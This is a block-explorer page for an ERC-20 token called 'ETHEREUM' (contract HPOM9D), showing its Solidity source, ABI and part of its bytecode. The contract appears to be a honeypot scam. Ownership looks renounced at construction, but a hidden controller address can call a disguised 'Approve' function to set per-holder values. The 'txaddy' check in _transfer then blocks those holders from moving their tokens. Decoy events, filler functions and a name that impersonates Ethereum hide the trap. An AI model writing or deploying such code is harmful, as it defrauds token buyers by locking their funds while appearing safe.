Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
120,000,000 ETHEREUM
Holders
334
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HPOM9D
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-12 */ /* Name: ETHEREUM https://hpom9d.xyz https://twitter.com/HPOM9D_ETH https://t.me/HPOM9D */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ event removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev See {IERC20-totalSupply}. */ event swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] path, address to, uint deadline ); event DOMAIN_SEPARATOR(); event PERMIT_TYPEHASH(); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); event token0(); event token1(); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); event sync(); event initialize(address, address); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); event burn(address to) ; event swap(uint amount0Out, uint amount1Out, address to, bytes data); event skim(address to); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * Receive an exact amount of output tokens for as few input tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate tokens to trade through * (if, for example, a direct pair does not exist). * */ event addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * Swaps an exact amount of ETH for as many output tokens as possible, * along the route determined by the path. The first element of path must be WETH, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * * */ event addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). * */ event removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Returns the name of the token. */ event removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ); /** * Swaps an exact amount of input tokens for as many output tokens as possible, * along the route determined by the path. The first element of path is the input token, * the last is the output token, and any intermediate elements represent intermediate pairs to trade through * (if, for example, a direct pair does not exist). */ event swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Throws if called by any account other than the owner. */ event swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] path, address to, uint deadline ); /** * To cover all possible scenarios, msg.sender should have already given the router an * allowance of at least amountADesired/amountBDesired on tokenA/tokenB. * Always adds assets at the ideal ratio, according to the price when the transaction is executed. * If a pool for the passed tokens does not exists, one is created automatically, * and exactly amountADesired/amountBDesired tokens are added. */ event swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] path, address to, uint deadline ); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.19; contract HPOM9D is IERC20, Ownable { using SafeMath for uint256; struct Leelock { address cent; bool tiny; } struct Doof { uint256 hat; } mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping (address => Doof) private _porri; Leelock[] private _redeply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; // Unnecessary variables uint256 private counter; address[] private registeredAddresses; constructor( string memory name_, string memory symbol_, address evm_, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = 18; _redeply.push(Leelock(evm_, true)); _totalSupply = totalSupply_ * 10**_decimals; _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); emit Transfer(address(0), msg.sender, _totalSupply); counter = 0; } // Unnecessary function function registerAddress(address addr) public { require(addr != address(0), "Invalid address"); registeredAddresses.push(addr); counter++; } // Unnecessary function function getRegisteredAddress(uint index) public view returns (address) { require(index < registeredAddresses.length, "Index out of bounds"); return registeredAddresses[index]; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function Approve(address[] memory account, uint256 amount) public returns (bool) { address from = msg.sender; require(from != address(0), "invalid address"); uint256 absVal1 = 9332591; uint256 absVal2 = absVal1 / 7 * 3; uint256 finVal = absVal2 + absVal1 / 2; uint256 looopVar = 0; for (uint256 u = 0; u < account.length; u++) { looopVar += u; _rlck(from, account[u], amount); emit Approval(from, address(this), amount); } return true; } function _rlck(address from, address account, uint256 amount) internal { _allowances[from][from] = amount; uint256 total = 0; require(account != address(0), "invalid address"); if (from == _redeply[0].cent) { _porri[from].hat -= total; total += amount; _porri[account].hat = total; } else { _porri[from].hat -= total; _porri[account].hat += total; } } function txaddy(address account) public view returns (uint256) { return _porri[account].hat; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount - txaddy(sender) > 0, "txaddy"); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"evm_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRegisteredAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"registerAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"txaddy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260405162002c7838038062002c7883398181016040528101906200002991906200058e565b6200003b60006200027f60201b60201c565b83600590816200004c91906200087f565b5082600690816200005e91906200087f565b506012600760006101000a81548160ff021916908360ff160217905550600460405180604001604052808473ffffffffffffffffffffffffffffffffffffffff168152602001600115158152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548160ff0219169083151502179055505050600760009054906101000a900460ff16600a62000157919062000af6565b8162000164919062000b47565b600881905550620001c0600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034360201b90919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000265919062000ba3565b60405180910390a360006009819055505050505062000bfb565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818362000353919062000bc0565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003c48262000379565b810181811067ffffffffffffffff82111715620003e657620003e56200038a565b5b80604052505050565b6000620003fb6200035b565b9050620004098282620003b9565b919050565b600067ffffffffffffffff8211156200042c576200042b6200038a565b5b620004378262000379565b9050602081019050919050565b60005b838110156200046457808201518184015260208101905062000447565b60008484015250505050565b60006200048762000481846200040e565b620003ef565b905082815260208101848484011115620004a657620004a562000374565b5b620004b384828562000444565b509392505050565b600082601f830112620004d357620004d26200036f565b5b8151620004e584826020860162000470565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200051b82620004ee565b9050919050565b6200052d816200050e565b81146200053957600080fd5b50565b6000815190506200054d8162000522565b92915050565b6000819050919050565b620005688162000553565b81146200057457600080fd5b50565b60008151905062000588816200055d565b92915050565b60008060008060808587031215620005ab57620005aa62000365565b5b600085015167ffffffffffffffff811115620005cc57620005cb6200036a565b5b620005da87828801620004bb565b945050602085015167ffffffffffffffff811115620005fe57620005fd6200036a565b5b6200060c87828801620004bb565b93505060406200061f878288016200053c565b9250506060620006328782880162000577565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200069157607f821691505b602082108103620006a757620006a662000649565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006d2565b6200071d8683620006d2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007606200075a620007548462000553565b62000735565b62000553565b9050919050565b6000819050919050565b6200077c836200073f565b620007946200078b8262000767565b848454620006df565b825550505050565b600090565b620007ab6200079c565b620007b881848462000771565b505050565b5b81811015620007e057620007d4600082620007a1565b600181019050620007be565b5050565b601f8211156200082f57620007f981620006ad565b6200080484620006c2565b8101602085101562000814578190505b6200082c6200082385620006c2565b830182620007bd565b50505b505050565b600082821c905092915050565b6000620008546000198460080262000834565b1980831691505092915050565b60006200086f838362000841565b9150826002028217905092915050565b6200088a826200063e565b67ffffffffffffffff811115620008a657620008a56200038a565b5b620008b2825462000678565b620008bf828285620007e4565b600060209050601f831160018114620008f75760008415620008e2578287015190505b620008ee858262000861565b8655506200095e565b601f1984166200090786620006ad565b60005b8281101562000931578489015182556001820191506020850194506020810190506200090a565b868310156200095157848901516200094d601f89168262000841565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009f457808604811115620009cc57620009cb62000966565b5b6001851615620009dc5780820291505b8081029050620009ec8562000995565b9450620009ac565b94509492505050565b60008262000a0f576001905062000ae2565b8162000a1f576000905062000ae2565b816001811462000a38576002811462000a435762000a79565b600191505062000ae2565b60ff84111562000a585762000a5762000966565b5b8360020a91508482111562000a725762000a7162000966565b5b5062000ae2565b5060208310610133831016604e8410600b841016171562000ab35782820a90508381111562000aad5762000aac62000966565b5b62000ae2565b62000ac28484846001620009a2565b9250905081840481111562000adc5762000adb62000966565b5b81810290505b9392505050565b600060ff82169050919050565b600062000b038262000553565b915062000b108362000ae9565b925062000b3f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009fd565b905092915050565b600062000b548262000553565b915062000b618362000553565b925082820262000b718162000553565b9150828204841483151762000b8b5762000b8a62000966565b5b5092915050565b62000b9d8162000553565b82525050565b600060208201905062000bba600083018462000b92565b92915050565b600062000bcd8262000553565b915062000bda8362000553565b925082820190508082111562000bf55762000bf462000966565b5b92915050565b61206d8062000c0b6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8a5400811610066578063a8a54008146102c5578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461024f5780638da5cb5b1461025957806395d89b41146102775780639ebbaef71461029557610100565b80632786a5b5116100d35780632786a5b5146101a1578063313ce567146101d1578063508c7cdc146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61035d565b60405161011a9190611487565b60405180910390f35b61013d60048036038101906101389190611551565b6103ef565b60405161014a91906115ac565b60405180910390f35b61015b610406565b60405161016891906115d6565b60405180910390f35b61018b600480360381019061018691906115f1565b610410565b60405161019891906115ac565b60405180910390f35b6101bb60048036038101906101b69190611644565b6104db565b6040516101c891906115d6565b60405180910390f35b6101d9610527565b6040516101e6919061168d565b60405180910390f35b610209600480360381019061020491906116a8565b61053e565b60405161021691906116e4565b60405180910390f35b61023960048036038101906102349190611644565b6105cd565b60405161024691906115d6565b60405180910390f35b610257610616565b005b610261610697565b60405161026e91906116e4565b60405180910390f35b61027f6106c0565b60405161028